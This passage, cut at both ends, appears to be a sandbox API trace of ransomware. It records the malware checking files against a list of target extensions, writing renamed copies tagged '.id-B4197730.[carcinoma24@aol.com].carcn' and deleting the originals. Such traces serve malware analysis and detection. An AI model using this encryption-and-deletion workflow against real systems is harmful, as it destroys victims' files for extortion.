(lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0177.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0177.780] lstrlenW (lpString=".doc") returned 4 [0177.780] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0177.780] lstrlenW (lpString=".docx") returned 5 [0177.780] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0177.780] lstrlenW (lpString=".pdf") returned 4 [0177.780] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0177.780] lstrlenW (lpString=".xls") returned 4 [0177.780] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0177.780] lstrlenW (lpString=".xlsx") returned 5 [0177.780] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0177.780] lstrlenW (lpString=".ppt") returned 4 [0177.780] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0177.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0177.781] lstrlenW (lpString=".zip") returned 4 [0177.781] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0177.781] lstrlenW (lpString=".rar") returned 4 [0177.781] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0177.781] lstrlenW (lpString=".bz2") returned 4 [0177.781] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0177.781] lstrlenW (lpString=".7z") returned 3 [0177.781] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0177.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0177.781] lstrlenW (lpString=".dbf") returned 4 [0177.781] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0177.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0177.781] lstrlenW (lpString=".1cd") returned 4 [0177.781] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0177.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0177.781] lstrlenW (lpString=".jpg") returned 4 [0177.781] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0177.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0177.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0177.781] lstrlenW (lpString=".doc") returned 4 [0177.781] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0177.781] lstrlenW (lpString=".docx") returned 5 [0177.781] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0177.781] lstrlenW (lpString=".pdf") returned 4 [0177.781] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0177.781] lstrlenW (lpString=".xls") returned 4 [0177.781] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0177.781] lstrlenW (lpString=".xlsx") returned 5 [0177.781] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0177.781] lstrlenW (lpString=".ppt") returned 4 [0177.781] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0177.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0177.781] lstrlenW (lpString=".zip") returned 4 [0177.782] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0177.782] lstrlenW (lpString=".rar") returned 4 [0177.782] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0177.782] lstrlenW (lpString=".bz2") returned 4 [0177.782] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0177.782] lstrlenW (lpString=".7z") returned 3 [0177.782] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0177.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0177.782] lstrlenW (lpString=".dbf") returned 4 [0177.782] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0177.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0177.782] lstrlenW (lpString=".1cd") returned 4 [0177.782] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0177.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69 [0177.782] lstrlenW (lpString=".jpg") returned 4 [0177.782] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0177.782] lstrcmpiW (lpString1=".htm", lpString2=".carcn") returned 1 [0177.782] lstrlenW (lpString="Roses.htm") returned 9 [0177.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.803] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=233) returned 1 [0177.803] CloseHandle (hObject=0x318) returned 1 [0177.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0177.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0177.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0177.807] lstrlenW (lpString=".doc") returned 4 [0177.807] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0177.807] lstrlenW (lpString=".docx") returned 5 [0177.807] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0177.807] lstrlenW (lpString=".pdf") returned 4 [0177.807] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0177.807] lstrlenW (lpString=".xls") returned 4 [0177.807] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0177.807] lstrlenW (lpString=".xlsx") returned 5 [0177.807] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0177.807] lstrlenW (lpString=".ppt") returned 4 [0177.807] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0177.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0177.807] lstrlenW (lpString=".zip") returned 4 [0177.807] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0177.807] lstrlenW (lpString=".rar") returned 4 [0177.807] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0177.807] lstrlenW (lpString=".bz2") returned 4 [0177.807] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0177.807] lstrlenW (lpString=".7z") returned 3 [0177.807] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0177.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0177.807] lstrlenW (lpString=".dbf") returned 4 [0177.807] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0177.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0177.807] lstrlenW (lpString=".1cd") returned 4 [0177.807] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0177.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0177.807] lstrlenW (lpString=".jpg") returned 4 [0177.807] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0177.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0177.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0177.808] lstrlenW (lpString=".doc") returned 4 [0177.808] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0177.808] lstrlenW (lpString=".docx") returned 5 [0177.808] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0177.808] lstrlenW (lpString=".pdf") returned 4 [0177.808] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0177.808] lstrlenW (lpString=".xls") returned 4 [0177.808] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0177.808] lstrlenW (lpString=".xlsx") returned 5 [0177.808] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0177.808] lstrlenW (lpString=".ppt") returned 4 [0177.808] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0177.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0177.808] lstrlenW (lpString=".zip") returned 4 [0177.808] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0177.808] lstrlenW (lpString=".rar") returned 4 [0177.808] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0177.808] lstrlenW (lpString=".bz2") returned 4 [0177.808] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0177.808] lstrlenW (lpString=".7z") returned 3 [0177.808] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0177.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0177.808] lstrlenW (lpString=".dbf") returned 4 [0177.808] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0177.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0177.808] lstrlenW (lpString=".1cd") returned 4 [0177.808] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0177.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0177.808] lstrlenW (lpString=".jpg") returned 4 [0177.808] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0177.809] lstrcmpiW (lpString1=".jpg", lpString2=".carcn") returned 1 [0177.809] lstrlenW (lpString="Stars.jpg") returned 9 [0177.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.810] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=7505) returned 1 [0177.810] CloseHandle (hObject=0x318) returned 1 [0177.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0177.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67 [0177.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67 [0177.810] lstrlenW (lpString=".doc") returned 4 [0177.810] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0177.810] lstrlenW (lpString=".docx") returned 5 [0177.810] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0177.810] lstrlenW (lpString=".pdf") returned 4 [0177.810] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0177.811] lstrlenW (lpString=".xls") returned 4 [0177.811] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0177.811] lstrlenW (lpString=".xlsx") returned 5 [0177.811] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0177.811] lstrlenW (lpString=".ppt") returned 4 [0177.811] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0177.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67 [0177.811] lstrlenW (lpString=".zip") returned 4 [0177.811] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0177.811] lstrlenW (lpString=".rar") returned 4 [0177.811] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0177.811] lstrlenW (lpString=".bz2") returned 4 [0177.811] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0177.811] lstrlenW (lpString=".7z") returned 3 [0177.811] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0177.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67 [0177.811] lstrlenW (lpString=".dbf") returned 4 [0177.811] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0177.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67 [0177.811] lstrlenW (lpString=".1cd") returned 4 [0177.811] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0177.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67 [0177.811] lstrlenW (lpString=".jpg") returned 4 [0177.811] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0177.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67 [0177.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67 [0177.811] lstrlenW (lpString=".doc") returned 4 [0177.811] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0177.811] lstrlenW (lpString=".docx") returned 5 [0177.811] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0177.811] lstrlenW (lpString=".pdf") returned 4 [0177.811] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0177.811] lstrlenW (lpString=".xls") returned 4 [0177.812] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0177.812] lstrlenW (lpString=".xlsx") returned 5 [0177.812] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0177.812] lstrlenW (lpString=".ppt") returned 4 [0177.812] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0177.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67 [0177.812] lstrlenW (lpString=".zip") returned 4 [0177.812] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0177.812] lstrlenW (lpString=".rar") returned 4 [0177.812] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0177.812] lstrlenW (lpString=".bz2") returned 4 [0177.812] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0177.812] lstrlenW (lpString=".7z") returned 3 [0177.812] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0177.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67 [0177.812] lstrlenW (lpString=".dbf") returned 4 [0177.812] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0177.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67 [0177.812] lstrlenW (lpString=".1cd") returned 4 [0177.812] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0177.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67 [0177.812] lstrlenW (lpString=".jpg") returned 4 [0177.812] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0177.812] lstrcmpiW (lpString1=".bmp", lpString2=".carcn") returned -1 [0177.812] lstrlenW (lpString="verisign.bmp") returned 12 [0177.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.834] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=2702) returned 1 [0177.834] CloseHandle (hObject=0x318) returned 1 [0177.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0177.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0177.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0177.834] lstrlenW (lpString=".doc") returned 4 [0177.834] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0177.834] lstrlenW (lpString=".docx") returned 5 [0177.834] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0177.834] lstrlenW (lpString=".pdf") returned 4 [0177.834] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0177.834] lstrlenW (lpString=".xls") returned 4 [0177.834] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0177.835] lstrlenW (lpString=".xlsx") returned 5 [0177.835] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0177.835] lstrlenW (lpString=".ppt") returned 4 [0177.835] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0177.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0177.835] lstrlenW (lpString=".zip") returned 4 [0177.835] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0177.835] lstrlenW (lpString=".rar") returned 4 [0177.835] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0177.835] lstrlenW (lpString=".bz2") returned 4 [0177.835] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0177.835] lstrlenW (lpString=".7z") returned 3 [0177.835] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0177.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0177.835] lstrlenW (lpString=".dbf") returned 4 [0177.835] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0177.968] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0177.968] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0177.968] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0178.003] GetLastError () returned 0x0 [0178.004] ReadFile (in: hFile=0x34c, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x218e, lpOverlapped=0x0) returned 1 [0178.037] WriteFile (in: hFile=0x388, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x2190, lpOverlapped=0x0) returned 1 [0178.038] ReadFile (in: hFile=0x34c, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0178.038] WriteFile (in: hFile=0x388, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xe8, lpOverlapped=0x0) returned 1 [0178.038] SetEndOfFile (hFile=0x388) returned 1 [0178.038] CloseHandle (hObject=0x388) returned 1 [0178.039] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.039] SetEndOfFile (hFile=0x34c) returned 1 [0178.040] CloseHandle (hObject=0x34c) returned 1 [0178.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.040] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1 [0178.041] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0178.041] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0178.041] lstrlenW (lpString=".doc") returned 4 [0178.041] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.041] lstrlenW (lpString=".docx") returned 5 [0178.041] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0178.041] lstrlenW (lpString=".pdf") returned 4 [0178.041] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.041] lstrlenW (lpString=".xls") returned 4 [0178.041] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.041] lstrlenW (lpString=".xlsx") returned 5 [0178.041] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0178.041] lstrlenW (lpString=".ppt") returned 4 [0178.041] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.041] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0178.041] lstrlenW (lpString=".zip") returned 4 [0178.041] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.041] lstrlenW (lpString=".rar") returned 4 [0178.041] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.041] lstrlenW (lpString=".bz2") returned 4 [0178.041] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.041] lstrlenW (lpString=".7z") returned 3 [0178.041] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.041] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0178.041] lstrlenW (lpString=".dbf") returned 4 [0178.041] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.041] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0178.041] lstrlenW (lpString=".1cd") returned 4 [0178.041] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.041] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0178.041] lstrlenW (lpString=".jpg") returned 4 [0178.041] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0178.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0178.042] lstrlenW (lpString=".doc") returned 4 [0178.042] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.042] lstrlenW (lpString=".docx") returned 5 [0178.042] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0178.042] lstrlenW (lpString=".pdf") returned 4 [0178.042] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.042] lstrlenW (lpString=".xls") returned 4 [0178.042] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.042] lstrlenW (lpString=".xlsx") returned 5 [0178.042] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0178.042] lstrlenW (lpString=".ppt") returned 4 [0178.042] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0178.042] lstrlenW (lpString=".zip") returned 4 [0178.042] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.042] lstrlenW (lpString=".rar") returned 4 [0178.042] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.042] lstrlenW (lpString=".bz2") returned 4 [0178.042] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.042] lstrlenW (lpString=".7z") returned 3 [0178.042] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0178.042] lstrlenW (lpString=".dbf") returned 4 [0178.042] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0178.042] lstrlenW (lpString=".1cd") returned 4 [0178.042] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0178.042] lstrlenW (lpString=".jpg") returned 4 [0178.042] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.043] lstrcmpiW (lpString1=".gif", lpString2=".carcn") returned 1 [0178.043] lstrlenW (lpString="invalid32x32.gif") returned 16 [0178.043] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, 